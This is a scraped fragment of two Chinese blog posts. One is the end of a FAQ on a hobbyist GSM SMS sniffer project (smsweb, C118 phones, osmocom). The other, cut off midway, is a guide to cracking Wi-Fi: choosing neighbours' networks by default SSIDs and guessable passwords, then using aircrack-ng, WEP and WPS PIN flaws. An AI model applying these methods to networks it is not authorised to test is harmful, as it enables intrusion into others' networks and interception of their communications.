id=\"\">\r\n\t\u95ee\u9898\r\n</h2>\r\n<p>\r\n\t\u5728\u8fd9\u91cc\u6211\u8fd8\u662f\u60f3\u518d\u8bf4\u4e00\u8bf4\u8fd9\u4e2a\u5c0f\u9879\u76ee\uff0c\u6bd5\u7adf\u5173\u6ce8\u7684\u670b\u53cb\u8fd8\u662f\u633a\u591a\uff0c\u6211\u5c31\u5e26\u7740\u51e0\u4e2a\u95ee\u9898\u6765\u8bf4\u5427\u3002\r\n</p>\r\n<h3 id=\"\">\r\n\t\u4e00\u3001\u8fd9\u4e2a\u4e1c\u897f\u662f\u4e0d\u662f\u9700\u8981\u7279\u5b9a\u7684\u8bbe\u5907\u624d\u80fd\u8fd0\u884c\uff1f\r\n</h3>\r\n<p>\r\n\t\u5bf9\uff0c\u8fd9\u4e2a\u4e1c\u897f\u786e\u5b9e\u9700\u8981\u7279\u5b9a\u7684\u8bbe\u5907\u624d\u80fd\u8dd1\u8d77\u6765\uff0c\u5982\u679c\u4f60\u4e0d\u61c2\u4ee3\u7801\u5982\u4f55\u4fee\u6539\uff0c\u90a3\u4e48\u8fd9\u4e2a\u9879\u76ee\u5e76\u4e0d\u9002\u5408\u4f60\u3002\r\n</p>\r\n<p>\r\n\t\u524d\u9762\u6211\u8bf4\u4e86\uff0c\u6211\u4e4b\u6240\u4ee5\u5199\u8fd9\u4e2a\u4e1c\u897f\u53ea\u662f\u65b9\u4fbf\u81ea\u5df1\u6f14\u793a\uff0c\u540e\u6765\u6709\u670b\u53cb\u8bf4\u6548\u679c\u4e0d\u9519\uff0c\u60f3\u53c2\u8003\u4e0b\u6211\u7684\u4ee3\u7801\uff0c\u6211\u5c31\u5f00\u6e90\u4e86\uff0c\u6211\u5e76\u6ca1\u6709\u8bf4\u8fd9\u4e2a\u9879\u76ee\u8981\u5982\u4f55\u7ef4\u62a4\uff0c\u9047\u5230\u95ee\u9898\r\n\u6211\u4e00\u5b9a\u8981\u89e3\u51b3\uff0c\u6211\u53ea\u77e5\u9053\u76ee\u524d\u5b58\u5728\u5f88\u591aBUG\uff0c\u800c\u6709\u4e9bBug\u5728\u6211\u8bbe\u8ba1\u4e4b\u521d\u5c31\u5df2\u7ecf\u5b58\u5728\u4e86\uff0c\u4fee\u6539\u8d77\u6765\u6bd4\u8f83\u590d\u6742\uff0c\u6709\u4e9b\u65b9\u6cd5\u9700\u8981\u91cd\u5199\uff0c\u6709\u4e9b\u7535\u8def\u8fd8\u9700\u8981\u6539\u52a8\u3002\r\n</p>\r\n<p>\r\n\t\u6709\u7f16\u7a0b\u57fa\u7840\u7684\u670b\u53cb\u53ef\u80fd\u5f88\u5bb9\u6613\u770b\u51fa\u6765\u8fd9\u4e2a\u9879\u76ee\u662f\u4e2ademo\u7248\u672c\uff0c\u6211\u60f3\u6ca1\u6709\u8c01\u4f1a\u53bb\u5728\u4e00\u4e2a\u6b63\u5f0f\u7684\u9879\u76ee\u4e2d\u9884\u75598\u4e2alog\u6587\u4ef6\uff0c\u8fd9\u662f\u4f53\u73b0\u4ee3\u7801\u6e23\u6e23\u7684\u4e00\u4e2a\u91cd\u8981\u6807\u5fd7\uff0c\u4f46\u662fsmsweb\u9879\u76ee\u4e2d\u5f88\u4e0d\u5e78\u7684\u8fd9\u4e48\u505a\u4e86\uff0c\u56e0\u4e3a\u90a3\u51e0\u4e2a\u6587\u4ef6\u662f\u6211\u4e34\u65f6\u52a0\u8fdb\u53bb\u7684\u3002\r\n</p>\r\n<p>\r\n\t\u867d\u7136\u6211\u6709\u4e2a\u4fee\u6539\u7684\u8ba1\u5212\uff0c\u4e5f\u6709todo list\uff0c\u4f46\u662f\u65f6\u95f4\u5e76\u4e0d\u5141\u8bb8\uff0c\u5f53\u6709\u670b\u53cb\u9047\u5230\u95ee\u9898\u95ee\u6211\u7684\u65f6\u5019\u6211\u4e5f\u65e0\u80fd\u4e3a\u529b\uff0c\u6bd5\u7adf\u53ea\u6709\u6211\u4e00\u4e2a\u4eba\u5f00\u53d1\u3002\r\n</p>\r\n<h3 id=\"\">\r\n\t\u4e8c\u3001\u80fd\u4e0d\u80fd\u628a\u786c\u4ef6\u7684\u7535\u8def\u56fe\u53d1\u4e00\u4e2a\u5b8c\u6574\u7684\u7ed9\u6211\uff1f\r\n</h3>\r\n<p>\r\n\t\u7ecf\u5e38\u6709\u4eba\u95ee\u6211\u8fd9\u4e2a\u95ee\u9898\uff0c\u90a3\u4e48\u6211\u56de\u7b54\u201c\u4e0d\u80fd\u201d\uff0c\u8fd9\u4e2a\u7535\u8def\u5df2\u7ecf\u5f88\u7b80\u5355\u4e86\uff0c\u800c\u4e14\u5728\u6211\u4e4b\u524d\u7684\u65e7\u535a\u5ba2\u4e2d\u5df2\u7ecf\u7ed9\u51fa\u4e86\u7ee7\u7535\u5668\u5f62\u5f0f\u7684\u7535\u8def\u56fe\uff0c\u7a0d\u5fae\u7684\u82b1\u70b9\u65f6\u95f4\u53bb\u770b\u5c31\u80fd\u770b\u660e\u767d\uff0c\u5982\u679c\u8fd9\u6837\u90fd\u4e0d\u884c\u7684\u8bdd\uff0c\u90a3\u6211\u4e5f\u6ca1\u6709\u529e\u6cd5\uff0c\u6211\u5e76\u4e0d\u662f\u4e00\u4e2a\u8001\u5e08\uff0c\u4e5f\u4e0d\u662f\u7535\u5b50\u4e13\u4e1a\uff0c\u6240\u4ee5\u8bf7\u81ea\u5df1\u89e3\u51b3\u3002\r\n</p>\r\n<h3 id=\"arduino\">\r\n\t\u4e09\u3001Arduino\u7684\u7a0b\u5e8f\u80fd\u4e0d\u80fd\u53d1\u6211\u4e00\u4efd\uff1f\r\n</h3>\r\n<p>\r\n\t\u8fd9\u91cc\u6211\u4e5f\u53ea\u80fd\u56de\u7b54\u201c\u4e0d\u80fd\u201d\uff0c\u56e0\u4e3a\u5f53\u521d\u6211\u8bbe\u8ba1\u81ea\u52a8\u5316\u63a7\u5236\u7684\u65f6\u5019\u662f\u57282015\u5e7411\u6708\u5de6\u53f3\uff0c\u90a3\u4e2a\u65f6\u5019\u867d\u7136\u4f7f\u7528\u7684\u662f\u7ee7\u7535\u5668\u63a7\u5236\uff0c\u4f46\u662fArduino\u7684\u7a0b\u5e8f\u4f9d\u7136\u6ca1\u6709\u6539\u52a8\uff0c\u65f6\u95f4\u8fc7\u53bb\u4e86\u5f88\u4e45\uff0c\u6211\u5df2\u7ecf\u6ca1\u6cd5\u627e\u5230\u539f\u6765\u7684\u4ee3\u7801\u3002\r\n</p>\r\n<p>\r\n\t\u5173\u4e8eArduino\u91cc\u9762\u662f\u5982\u4f55\u63a7\u5236\u7684\u6211\u4e4b\u524d\u5728\u535a\u5ba2\u4e0a\u4e5f\u5199\u7684\u5f88\u6e05\u695a\uff0c\u5341\u51e0\u884c\u4ee3\u7801\u5c31\u597d\u4e86\uff0c\u6ca1\u6709\u90a3\u4e48\u96be\u3002\r\n</p>\r\n<h3 id=\"\">\r\n\t\u56db\u3001\u4f60\u80fd\u4e0d\u80fd\u505a\u4e00\u5957\u5356\u7ed9\u6211\uff1f\r\n</h3>\r\n<p>\r\n\t\u81ea\u4ece\u621114\u5e74\u5f00\u4e86\u4e2a\u6dd8\u5b9d\u5e97\u94fa\u5356\u6570\u636e\u7ebf\u4e4b\u540e\uff0c\u8fd9\u4e2a\u95ee\u9898\u5c31\u4e00\u76f4\u6709\u4eba\u5728\u95ee\u3002\u6211\u57fa\u672c\u4e0a\u5f88\u5c11\u6709\u53bb\u5356\u786c\u4ef6\uff0c\u5f88\u591a\u65f6\u5019\u6211\u4e0d\u786e\u5b9a\u786c\u4ef6\u7684\u7a33\u5b9a\u6027\uff0c\u5728\u6211\u81ea\u5df1\u6d4b\u8bd5\u7684\u65f6\u5019\u6211\u89c9\u5f97\u5f88\u597d\uff0c\u4f46\u662fdemo\u7ec8\u7a76\u662fdemo\uff0c\u5c31\u662f\u7ec4\u5408\u7684\u518d\u597d\uff0c\u4e00\u4e9b\u672c\u6765\u5b58\u5728\u7684\u95ee\u9898\u8fd8\u662f\u5076\u5c14\u4f1a\u51fa\u73b0\u3002\r\n</p>\r\n<p>\r\n\t\u4e00\u4e2a\u5f88\u660e\u663e\u7684\u95ee\u9898\u5c31\u662f\u4f7f\u7528\u4e09\u6781\u7ba1\u4e4b\u540e\u7684\u4f9b\u7535\u95ee\u9898\uff0c0.7V\u7684\u538b\u964d\u52a0\u4e0aUSB\u8f6cTTL\u6d88\u8017\u7684\u7535\u538b\uff0c\u52a0\u4e0a\u5404\u79cd\u635f\u8017\uff0c\u5230\u8fbeC118\u7684\u65f6\u5019\u5c31\u53ea\u5269\u4e0b3.2V\r\n\u5de6\u53f3\uff0c3.2V\u5df2\u7ecf\u5f88\u4e0d\u7a33\u5b9a\u4e86\uff0c\u518d\u52a0\u4e0a\u4e00\u4e9bC118\u7684\u677f\u5b50\u8001\u5316\u4e86\uff0c\u66f4\u52a0\u7684\u4e0d\u7a33\u5b9a\uff0c\u5c31\u4f1a\u4ea7\u751f\u4e00\u4e9b\u96be\u4ee5\u89e3\u51b3\u7684\u95ee\u9898\uff0c\u6bd4\u5982\u8bf4\u5237\u673a\u7ecf\u5e38\u6027\u7684\u6b7b\u673a\uff0c\u5237\u673a\u5237\u4e0d\u4e0a\uff0c\u8fd0\u884c\r\n\u4e2d\u5076\u5c14\u6b7b\u673a\uff0c\u4fe1\u53f7\u4e0d\u597d\u7684\u65f6\u5019\u6b7b\u673a\uff0c\u8fd9\u4e9b\u90fd\u662f\u6211\u9047\u5230\u8fc7\u7684\u95ee\u9898\u3002\r\n</p>\r\n<p>\r\n\t\u8bf4\u5230\u8fd9\u6211\u5ffd\u7136\u60f3\u5230\u6709\u4e2a\u670b\u53cb\u4e4b\u524d\u4e00\u76f4\u8981\u6c42\u6211\u5356\u8bbe\u5907\u7ed9\u4ed6\uff0c\u6211\u8bf4\u7528C118\u505a\u4e0d\u7a33\u5b9a\uff0c\u4ed6\u5c31\u53d1\u4e86\u4e00\u5f20\u56fe\u7247\uff0c\u522b\u4eba\u505a\u7684\u96c6\u6210\u7cfb\u7edf\uff0c\u677f\u5b50\u4e5f\u662fC118\uff0c\u8bf4\u5f88\u4e0d\u9519\u554a\uff0c\u5c31\u505a\u6210\u8fd9\u6837\u7684\u3002\r\n</p>\r\n<p>\r\n\t\u5f53\u65f6\u6211\u5c31\u5f88\u90c1\u95f7\u4e86\uff0c\u4e00\u4e2a\u8fd9\u4e48\u4e0d\u7a33\u5b9a\u7684\u4e1c\u897f\u8981\u62ff\u6765\u505a\u6210\u4ea7\u54c1\u5356\uff0c\u8fd9\u771f\u7684\u597d\u5417\uff1f\u6211\u4e0d\u5426\u8ba4\u522b\u4eba\u7684\u4ea7\u54c1\u505a\u7684\u5f88\u597d\uff0c\u5f88\u7a33\u5b9a\uff0c\u5f88\u725b\u903c\uff0c\u81f3\u5c11\u6211\u76ee\u524d\u8ba4\u4e3aC118\u505a\u96c6\u6210\u662f\u4e0d\u7a33\u5b9a\u7684\uff0c\u81f3\u4e8e\u662f\u4e0d\u662f\u62ff\u6765\u5708\u94b1\u6211\u4e0d\u60f3\u8bc4\u8bba\uff0c\u7528\u6765\u505a\u5b9e\u9a8c\u8fd8\u51d1\u5408\uff0c\u5546\u7528\u8fd8\u662f\u7b97\u4e86\u3002\r\n</p>\r\n<h3 id=\"\">\r\n\t\u4e94\u3001\u82b1\u591a\u5c11\u94b1\u53ef\u4ee5\u4e70\u4f60\u7684\u4ee3\u7801\uff1f\r\n</h3>\r\n<p>\r\n\t\u8fd9\u4e2a\u95ee\u9898\u6bd4\u8f83\u6709\u610f\u601d\uff0c\u6211\u4ece\u5f00\u59cb\u5f04GSM Sniffer\u7684\u65f6\u5019\u6240\u6709\u7684\u811a\u672c\u90fd\u662f\u5f00\u6e90\u7684\uff0c\u5e76\u4e0d\u5b58\u5728\u6536\u8d39\u7684\u60c5\u51b5\uff0c\u4f55\u6765\u8d2d\u4e70\u4e00\u8bf4\uff1f\r\n</p>\r\n<p>\r\n\t\u6211\u4e2a\u4eba\u5bf9\u4e8e\u8f6f\u4ef6\u6e90\u7801\u7684\u4e70\u5356\u6301\u6709\u7684\u6001\u5ea6\u5c31\u662f\uff0c\u77e5\u8bc6\u4e5f\u662f\u8d22\u5bcc\uff0c\u53ea\u8981\u8f6f\u4ef6\u6709\u81ea\u5df1\u7684\u7279\u8272\uff0c\u5c31\u503c\u5f97\u82b1\u94b1\u53bb\u8d2d\u4e70\uff0c\u54ea\u6015\u652f\u6301\u4e0b\u4e5f\u884c\uff0c\u4f46\u662f\u5bf9\u4e8esmsweb\u8fd9\u4e2a\u9879\u76ee\uff0c\u6211\u60f3\u8bf4\u7684\u662f\uff0c\u8fd9\u4e2a\u9879\u76ee\u4e0a\u6240\u6d89\u53ca\u7684\u6280\u672f\u8981\u70b9\u5168\u90e8\u662f\u5f00\u6e90\u7684\uff0c<a href=\"http://osmocom.org\">http://osmocom.org</a> \u4e0a\u4e5f\u90fd\u5199\u7684\u6e05\u6e05\u695a\u695a\uff0c\u6211\u53ea\u662f\u7a0d\u5fae\u6574\u7406\u4e86\u4e00\u4e0b\u800c\u5df2\u3002\r\n</p>\r\n<h3 id=\"windows\">\r\n\t\u516d\u3001\u8fd9\u4e2a\u7a0b\u5e8f\u80fd\u5728windows\u4e0b\u9762\u7528\u5417\uff1f\r\n</h3>\r\n<p>\r\n\t\u4e0d\u80fd\uff01\r\n</p>\r\n<h3 id=\"windows\">\r\n\t\u4e03\u3001\u80fd\u4e0d\u80fd\u5199\u4e2a\u76f4\u63a5\u5728windows\u4e0b\u7528\u7684\u7a0b\u5e8f\uff1f\u4ed8\u8d39\uff01\r\n</h3>\r\n<p>\r\n\t\u4e0d\u597d\u610f\u601d\uff0c\u65e0\u80fd\u4e3a\u529b\uff01\r\n</p>\r\n<h3 id=\"iso\">\r\n\t\u516b\u3001\u914d\u7f6e\u73af\u5883\u592a\u9ebb\u70e6\uff0c\u4f60\u80fd\u6253\u5305\u4e2a\u955c\u50cf\u7ed9\u6211\u5417\uff1f\u6700\u597d\u662fiso\u7684\uff0c\u80fd\u5b89\u88c5\u7684...\r\n</h3>\r\n<p>\r\n\t\u6211\u60f3\u8bf4\u65e2\u7136\u662f\u505a\u7814\u7a76\uff0c\u6298\u817e\u4e0b\u6536\u83b7\u66f4\u591a\uff0c\u4e3a\u4f55\u4e0d\u81ea\u5df1\u52a8\u624b\u914d\u7f6e\u4e0b\u5462\uff1f\u5982\u679c\u4e0d\u662f\u4e3a\u4e86\u505a\u7814\u7a76\uff0c\u8fd9\u5957demo\u7248\u672c\u7684\u7cfb\u7edf\u4e5f\u4e0d\u592a\u9002\u5408\uff0c\u52a8\u52a8\u624b\u3002\r\n</p>\r\n<p>\r\n\t\u800c\u4e14\u6211\u5df2\u7ecf\u628a\u76f8\u5173\u7684\u914d\u7f6e\u8fc7\u7a0b\u90fd\u5199\u7684\u6bd4\u8f83\u8be6\u7ec6\u4e86\uff0c\u8fd8\u662f\u4e0d\u61c2\u7684\u8bdd\u6211\u4e5f\u6ca1\u8f99\uff0c\u6211\u80fd\u505a\u7684\u5c31\u662f\u8fd9\u4e9b\uff0c\u6211\u4e5f\u8981\u6323\u94b1\u517b\u5bb6\u7cca\u53e3\uff0c\u6ca1\u6709\u65f6\u95f4\u53bb\u89e3\u7b54\u90a3\u4e48\u591a\u95ee\u9898\uff0c\u8bf7\u81ea\u5df1\u52a8\u624b\u89e3\u51b3\uff0c\u800c\u4e14\u4e00\u822c\u9047\u5230\u7684\u95ee\u9898\uff0c\u5728\u8c37\u6b4c\u4e0a\u4e5f\u90fd\u80fd\u627e\u5230\u7b54\u6848\uff0c\u8fd8\u662f\u90a3\u53e5\u8bdd\uff1a\u591a\u52a8\u624b\u3002\r\n</p>\r\n<h2 id=\"\">\r\n\t\u6700\u540e\u8865\u5145\r\n</h2>\r\n<p>\r\n\t\u8bf4\u4e86\u8fd9\u4e48\u591a\uff0c\u6700\u540e\u8865\u5145\u4e00\u4e9b\u3002\r\n</p>\r\n<p>\r\n\tsmsweb\u7a0b\u5e8f\u4f7f\u7528\u7684\u662f\u4e32\u53e3\u901a\u4fe1\u6765\u53d1\u9001\u6307\u4ee4\u63a7\u5236arduino\u5355\u7247\u673a\u7684\u63a5\u53e3\u7535\u5e73\uff0c\u4fee\u6539\u8d77\u6765\u5f88\u7b80\u5355\uff0c\u5982\u679c\u786c\u4ef6\u91cc\u9762\u6ca1\u67098\u673a\u4e5f\u53ef\u4ee5\u7528\uff0c\u53ea\u662f\u4e0d\u80fd\u4f7f\u7528\u4e00\u952e\u5237\u673a\u548c\u4e00\u952e\u626b\u63cf\uff0c\u89e3\u7801\u51fd\u6570\u5b58\u5728bug\uff0c\u5bfc\u81f4\u5168\u6570\u5b57\u6216\u8005\u5168\u82f1\u6587\u77ed\u4fe1\u4f1a\u4e71\u7801\u3002\r\n</p><div class=\"useWarning\" style=\"background-color: #f0f0f0\">\n\u672c\u6587\u94fe\u63a5\uff1ahttps://www.92ez.com/?action=show&id=23397 <br>\n <b>!!! \u8f6c\u8f7d\u8bf7\u5148\u8054\u7cfbnon3gov@gmail.com\u6388\u6743\u5e76\u5728\u663e\u8457\u4f4d\u7f6e\u6ce8\u660e\u4f5c\u8005\u548c\u539f\u6587\u94fe\u63a5 !!! <a href=\"https://www.92ez.com/black.html\" target=\"_blank\" style=\"color: #000;text-decoration: underline;background: none\">\u5c0f\u9ed1\u5c4b</a> </b><br>\n\u63d0\u793a\uff1a\u6280\u672f\u6587\u7ae0\u6709\u4e00\u5b9a\u7684\u65f6\u6548\u6027\uff0c\u8bf7\u5148\u786e\u8ba4\u662f\u5426\u9002\u7528\u4f60\u5f53\u524d\u7684\u7cfb\u7edf\u73af\u5883\u3002\n</div>\n\n<style type=\"text/css\">\n.useWarning a{color:#fff;background-color:#ea6f5a;border-radius:3px;padding:5px 10px;text-decoration: none;}\n.tuijian{margin-top:10px;}\n.tuijian a{display:block;}\n.tuijian img{padding:0;margin:0;}\n.tuijian a img{display:block;width:100%;}\n.donateme{font-size: 14px;display:none;}\n.donateme a{color: green;font-weight: bold;}\n.useWarning{padding: 5px 10px;border: #c00 1px dashed;margin: 10px 0 0;color: #c00;}\n</style>\n</div>"]},
{"title": ["WIFI\u7834\u89e3\u5e38\u89c4\u601d\u8def"], "date": ["KBdancer", " \u53d1\u8868\u4e8e 2016-08-15, 12:00 AM. \n\u53d1\u8868\u5728\uff1a\n\t\t\t\t\t\t\t\t\n ", "\u65e0\u7ebf\u5b89\u5168", "\n\t\t\t\t\t\t\t\t\n, ", "\u901a\u4fe1\u5b89\u5168", "\n\t\t\t\t\t\t\t\t\n, ", "\u653b\u51fb\u6d4b\u8bd5", "\n"], "content": ["<div class=\"post-body\">\n<h2 id=\"\">\r\n\t\u5f00\u59cb\r\n</h2>\r\n<p>\r\n\t\u5f88\u591a\u540c\u5b66\u90fd\u89c9\u5f97\u8981\u60f3\u5b66\u4e60\u4e00\u9879\u6280\u80fd\uff0c\u4e00\u5b9a\u8981\u5148\u6253\u597d\u57fa\u7840\uff0c\u6253\u57fa\u7840\u5c31\u8981\u4ece\u6700\u6700\u57fa\u672c\u7684\u539f\u7406\u5f00\u59cb\uff0c\u5faa\u5e8f\u6e10\u8fdb\u7684\u53bb\u5438\u6536\u77e5\u8bc6\u3002\u4f46\u662f\uff0c\u8fd9\u6837\u771f\u7684\u597d\u5417\uff1f\r\n</p>\r\n<p>\r\n\t\u4e0d\uff0c\u4fe1\u606f\u65f6\u4ee3\u53ef\u4ee5\u5b66\u4e60\u7684\u9014\u5f84\u592a\u591a\u4e86\uff0c\u4e94\u82b1\u516b\u95e8\u7684\u514d\u8d39\u6559\u7a0b\u94fa\u5929\u76d6\u5730\uff0c\u8fd9\u5f88\u5bb9\u6613\u8ba9\u5b66\u4e60\u8005\u53d8\u5f97\u6d6e\u8e81\uff0c\u89c9\u5f97\u53cd\u6b63\u5b66\u4e60\u8d44\u6e90\u4e30\u5bcc\uff0c\u4e5f\u5c31\u4e0d\u4f1a\u53bb\u4ed4\u7ec6\u54c1\u5473\u771f\u6b63\u610f\u4e49\u4e0a\r\n\u7684\u5b66\u4e60\u3002\u800c\u5f88\u591a\u5b89\u5168\u7814\u7a76\u5458\u53c8\u662f\u8ddf\u535a\u4e3b\u4e00\u6837\uff0c\u5c5e\u4e8e\u81ea\u5b66\u7c7b\u578b\u7684\uff0c\u4e5f\u5c31\u662f\u5e38\u8bf4\u7684\u91ce\u8def\u5b50\uff0c\u4e00\u5f00\u59cb\u5c31\u63a5\u89e6\u5e95\u5c42\u539f\u7406\u96be\u514d\u89c9\u5f97\u67af\u71e5\u4e4f\u5473\uff0c\u4e00\u4e9b\u96be\u4ee5\u7406\u89e3\u7684\u57fa\u7840\u77e5\u8bc6\u53c8\u4f1a\u6253\u51fb\r\n\u5b66\u4e60\u7684\u70ed\u60c5\uff0c\u6700\u7ec8\u7ed3\u679c\u5f88\u53ef\u80fd\u5c31\u662f\u653e\u5f03\u4e86\uff0c\u8fd9\u4e5f\u6b63\u597d\u80fd\u8bf4\u660e\u4e3a\u4f55\u5927\u591a\u6570\u8f6f\u4ef6\u5b66\u9662\u7684\u6bd5\u4e1a\u751f\u90fd\u9009\u62e9\u8f6c\u884c\uff0c\u56e0\u4e3a\u4e00\u5f00\u59cb\u63a5\u89e6\u7684\u65f6\u5019\u5c31\u88ab\u5413\u61f5\u903c\u4e86\u3002\r\n</p>\r\n<p>\r\n\t\u6240\u4ee5\uff0c\u8981\u5148\u57f9\u517b\u5174\u8da3\uff0c\u6211\u89c9\u5f97\u6ca1\u6709\u6bd4\u5174\u8da3\u9a71\u52a8\u66f4\u597d\u7684\u5b66\u4e60\u65b9\u6cd5\uff0c\u6709\u4e86\u5b66\u4e60\u7684\u5174\u8da3\u4f60\u53ef\u4ee5\u5fd8\u8bb0\u5f88\u591a\u6ca1\u5fc5\u8981\u7684\u4e8b\u60c5\uff0c\u6bd4\u5982\u5237\u670b\u53cb\u5708\uff0c\u5237\u5fae\u535a\uff0c\u8fd9\u4e9b\u65e0\u5173\u7d27\u8981\u7684\u4e8b\u60c5\u5c31\u662f\u5728\u6d6a\u8d39\u4f60\u5b9d\u8d35\u7684\u5b66\u4e60\u65f6\u95f4\u3002\r\n</p>\r\n<h2 id=\"\">\r\n\t\u6b63\u9898\r\n</h2>\r\n<p>\r\n\t\u597d\u4e86\uff0c\u626f\u4e86\u90a3\u4e48\u591a\uff0c\u8bf4\u8bf4\u4eca\u5929\u7684\u4e3b\u8981\u5185\u5bb9\u5427\u3002\u4eca\u5929\u8981\u8bf4\u7684\u662f\u5728WIFI\u7834\u89e3\u65f6\u5019\u4e00\u4e9b\u5e38\u89c4\u7684\u624b\u6bb5\uff0c\u4ece\u6613\u5230\u96be\u5404\u4e2a\u51fb\u7834\u3002\r\n</p>\r\n<p>\r\n\t\u5728\u6e17\u900f\u5165\u4fb5\u7684\u65f6\u5019\u6709\u4e2a\u5f88\u5e38\u89c4\u7684\u6d41\u7a0b\uff1a\u4fe1\u606f\u6536\u96c6-->\u653b\u51fb-->\u540e\u6e17\u900f\u3002\r\n</p>\r\n<p>\r\n\t\u5bf9\u4e8ewifi\u7684\u7834\u89e3\uff0c\u6211\u4e2a\u4eba\u8ba4\u4e3a\u4fe1\u606f\u6536\u96c6\u8fd9\u4e2a\u73af\u8282\u6700\u4e3a\u91cd\u8981\uff0c\u4fe1\u606f\u6536\u96c6\u7684\u7ed3\u679c\u5c06\u76f4\u63a5\u5f71\u54cd\u7834\u89e3\u6240\u9700\u8981\u7684\u65f6\u95f4\uff0c\u5bf9\u4fe1\u606f\u7684\u6574\u7406\uff0c\u5206\u6790\u901a\u5e38\u51b3\u5b9a\u4e86\u6b64\u6b21\u653b\u51fb\u7684\u6210\u8d25\u3002\r\n</p>\r\n<h2 id=\"\">\r\n\t\u601d\u8def\r\n</h2>\r\n<p>\r\n\t\u8fd9\u91cc\u6211\u53ea\u8bf4\u6211\u81ea\u5df1\u5e38\u89c4\u7684\u4e00\u4e9b\u65b9\u6cd5\uff0c\u4e0d\u4fdd\u8bc1\u6709\u7528\uff0c\u4e2a\u4eba\u89c1\u89e3\u4e0d\u559c\u52ff\u55b7\u3002\r\n</p>\r\n<p>\r\n\t\u5f53\u6211\u62ff\u5230wifi\u5217\u8868\u7684\u65f6\u5019\uff0c\u9996\u5148\u89c2\u5bdfwifi\u7684ssid\uff0c\u901a\u8fc7wifi\u7684ssid\u6211\u4eec\u521d\u6b65\u53ef\u4ee5\u5224\u65adAP\u7c7b\u578b\uff0c\u6bd4\u5982\u5e38\u89c1\u7684TP-\r\nLINK\uff0cMERCURY\uff0cFAST\uff0c360WIFI\uff0cD-LINK\u7b49\u7b49\uff0c\u9ed8\u8ba4\u7684ssid\u901a\u5e38\u8bf4\u660ewifi\u4e3b\u4eba\u4e0d\u4f1a\u8fc7\u591a\u7684\u5173\u5fc3\u7f51\u7edc\u5b89\u5168\uff0c\u90a3\u4e48\u8fd9\u91cc\u5f88\u5bb9\u6613\u5c31\r\n\u88ab\u8bbe\u7f6e\u621012345678\u6216\u800566666666\u7b49\u5f31\u53e3\u4ee4\u3002\u6839\u636e\u6211\u4e4b\u524d\u5199\u7684TPLINKKEY\u83b7\u53d6\u5230\u76849\u4e07wifi\u4fe1\u606f\u53ef\u4ee5\u5f97\u77e5\uff0c\u5f31\u53e3\u4ee4\u524d10\u7684ssid\u90fd\r\n\u662f\u8def\u7531\u5668\u51fa\u5382\u9ed8\u8ba4\u7684\u3002\u800c\u8fd9\u4e9b\u9ed8\u8ba4ssid\u7684wifi\u53ef\u4ee5\u4f5c\u4e3a\u9996\u9009\u653b\u51fb\u76ee\u6807\u3002\r\n</p>\r\n<p>\r\n\t\u4e3a\u4e86\u8fdb\u4e00\u6b65\u786e\u5b9a\u653b\u51fb\u76ee\u6807\uff0c\u9700\u8981\u77e5\u9053wifi\u7684\u65b9\u4f4d\uff0c\u8fd9\u6837\u505a\u7684\u76ee\u7684\u5f88\u7b80\u5355\uff0c\u5f53\u6211\u7834\u89e3\u6210\u529f\u540e\uff0c\u6211\u662f\u4e0d\u662f\u80fd\u591f\u5728\u623f\u95f4\u4efb\u4f55\u4e00\u4e2a\u4f4d\u7f6e\u5f88\u597d\u7684\u8e6d\u7f51\u3002\u6211\u60f3\uff0c\u968f\u5fc3\u6240\r\n\u6b32\u7684\u8e6d\u7f51\u6bd4\u4e00\u76f4\u8e72\u5728\u7a97\u53e3\u8e6d\u7f51\u8981\u723d\u7684\u591a\u3002\u786e\u5b9awifi\u4f4d\u7f6e\u7684\u65b9\u6cd5\u6709\u5f88\u591a\uff0c\u6211\u5e38\u7528\u7684\u65b9\u6cd5\u662f\u4f7f\u7528\u5b89\u5353\u4e0b\u9762\u7684app\uff0cwifi\u5206\u6790\u4eea\uff0c\u8fd9\u4e2a\u5de5\u5177\u5f88\u597d\u7528\uff0c\u5f00\u542f\u4e4b\u540e\u5728\r\n\u623f\u95f4\u91cc\u9762\u8d70\u4e00\u5708\uff0c\u89c2\u5bdf\u4fe1\u53f7\u5f3a\u5ea6\u53d8\u5316\uff0c\u5c31\u80fd\u5f88\u5bb9\u6613\u7684\u786e\u5b9awifi\u5927\u6982\u7684\u65b9\u4f4d\u548c\u4fe1\u53f7\u6700\u4f73\u7684\u4f4d\u7f6e\u3002\r\n</p>\r\n<p>\r\n\t\u5f53\u7136\uff0c\u8fd9\u91cc\u6211\u4eec\u4e0d\u8ba8\u8bba\u5404\u79cdwifi\u5bc6\u7801\u5206\u4eab\u8f6f\u4ef6\uff0c\u8fd9\u5c31\u4e0d\u5c5e\u4e8e\u7834\u89e3\u653b\u51fb\u7684\u8303\u7574\u4e86\u3002\r\n</p>\r\n<p>\r\n\t\u5bf9\u4e8ewifi\u5217\u8868\u91cc\u9762\u51fa\u73b0\u4e86\u4e00\u4e9b\u5546\u94fa\u7684wifi\uff0c\u6bd4\u5982\u8bf4\u697c\u4e0b\u5c31\u662f\u4e00\u6392\u9910\u996e\u5e97\uff0c\u8fd9\u79cd\u60c5\u51b5\u4e0b\u4e00\u822c\u5546\u5bb6\u90fd\u4f1a\u628awifi\u5bc6\u7801\u8bbe\u7f6e\u6210\u81ea\u5df1\u5e97\u91cc\u7684\u7535\u8bdd\u6216\u624b\u673a\u53f7\u7801\uff0c\u5728\u6211\u7684wifi\u4fe1\u606f\u6570\u636e\u5e93\u4e2d\uff0c\u7535\u8bdd\u53f7\u7801\u4f5c\u4e3a\u5bc6\u7801\u7684wifi\u975e\u5e38\u591a\uff0c\u5f88\u591a\u90fd\u662f\u56fa\u8bdd\u3002\r\n</p>\r\n<p>\r\n\t\u4e0a\u9762\u7684\u90a3\u4e9b\u4fe1\u606f\u6536\u96c6\u5b8c\u6210\u4e4b\u540e\uff0c\u53ef\u4ee5\u4f7f\u7528aircrack-ng\u5957\u4ef6\uff0c\u67e5\u770bwifi\u7684\u52a0\u5bc6\u65b9\u5f0f\u3002\r\n</p>\r\n<p>\r\n\t\u5047\u5982\u6709WEP\u52a0\u5bc6\u7684\uff0c\u90a3\u4e48\u606d\u559c\u4f60\uff0c\u51e0\u5206\u949f\u5c31\u53ef\u4ee5\u7834\u89e3\u51fa\u6765\uff0c\u4f46\u662f\u73b0\u5728WEP\u51e0\u4e4e\u7edd\u8ff9\u4e86\uff0c\u770b\u8fd0\u6c14\u3002\r\n</p>\r\n<p>\r\n\t\u5047\u5982\u5f00\u542f\u4e86WPS\uff0c\u9996\u5148\u770b\u4e0b\u662f\u5426\u5b58\u5728PIN\u7801\u88ab\u8ba1\u7b97\u7684\u6f0f\u6d1e\uff0c\u5982\u679c\u6709\uff0c\